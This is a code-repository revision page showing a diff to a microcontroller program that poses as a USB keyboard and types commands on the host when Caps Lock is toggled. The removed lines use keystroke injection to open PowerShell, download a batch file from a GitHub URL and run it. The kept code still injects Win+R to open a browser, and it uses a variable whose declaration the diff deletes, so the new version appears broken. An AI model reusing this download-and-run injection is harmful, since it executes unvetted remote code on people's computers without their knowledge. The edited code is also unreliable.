USB keyboard

Dependencies:   USBDevice mbed

Fork of USBKeyboard_HelloWorld by Samuel Mokrani

Files at this revision

API Documentation at this revision

Comitter:
yihui
Date:
Wed Dec 04 08:29:50 2013 +0000
Parent:
8:336b28c80e29
Commit message:
initial

Changed in this revision

USBDevice.lib Show annotated file Show diff for this revision Revisions of this file
main.cpp Show annotated file Show diff for this revision Revisions of this file
--- a/USBDevice.lib	Thu Sep 26 08:30:34 2013 +0000
+++ b/USBDevice.lib	Wed Dec 04 08:29:50 2013 +0000
@@ -1,1 +1,1 @@
-http://mbed.org/users/mbed_official/code/USBDevice/#335f2506f422
+http://mbed.org/users/mbed_official/code/USBDevice/#849c0c0f2769
--- a/main.cpp	Thu Sep 26 08:30:34 2013 +0000
+++ b/main.cpp	Wed Dec 04 08:29:50 2013 +0000
@@ -1,27 +1,22 @@
 #include "mbed.h"
 #include "USBKeyboard.h"
  
-//LED1: NUM_LOCK
-//LED2: CAPS_LOCK
-//LED3: SCROLL_LOCK
+//LED1: NUM_LOCK, LED2: CAPS_LOCK, LED3: SCROLL_LOCK
 BusOut leds(LED1, LED2, LED3);
- 
-//USBKeyboard
 USBKeyboard keyboard;
  
 int main(void) {
     uint8_t caps;                       // status of CapsLock
-    uint8_t status;
+
     
     while (!keyboard.configured()) {    // wait until keyboard is configured
     }
 
     while (1) {
         status = keyboard.lockStatus();
-        caps = status & 0x2;
-        leds = status;
+        caps = keyboard.lockStatus() & 0x2;
         
-        // check if CapsLock is pressed
+        // wait until CapsLock is pressed
         while ((keyboard.lockStatus() & 0x2) == caps) {
             leds = keyboard.lockStatus();
         }
@@ -31,17 +26,8 @@
         }
         
         // Automatic input
-        keyboard.keyCode('r', 0x08);    // win + r
-        wait(0.2);
+        keyboard.keyCode('r', 0x08);            // win + r
+        wait(0.1);
         keyboard.puts("iexplore  http://seeedstudio.com\n\n");
-        wait(0.2);
-        keyboard.keyCode('r', 0x8);
-        wait(0.2);
-        keyboard.puts("powershell\n\n");         // open powershell
-        wait(0.2);
-        keyboard.puts("Invoke-WebRequest https://github.com/xiongyihui/Arch/raw/master/util/havefun.bat -OutFile havefun.bat\n\n");
-        wait(2.0);                              // wait 2 seconds to download havefun.bat
-        keyboard.puts(".\\havefun.bat\n\n");    // execute havefun.bat
-        keyboard.puts("exit\n\n");              // exit powershell
     }
 }
\ No newline at end of file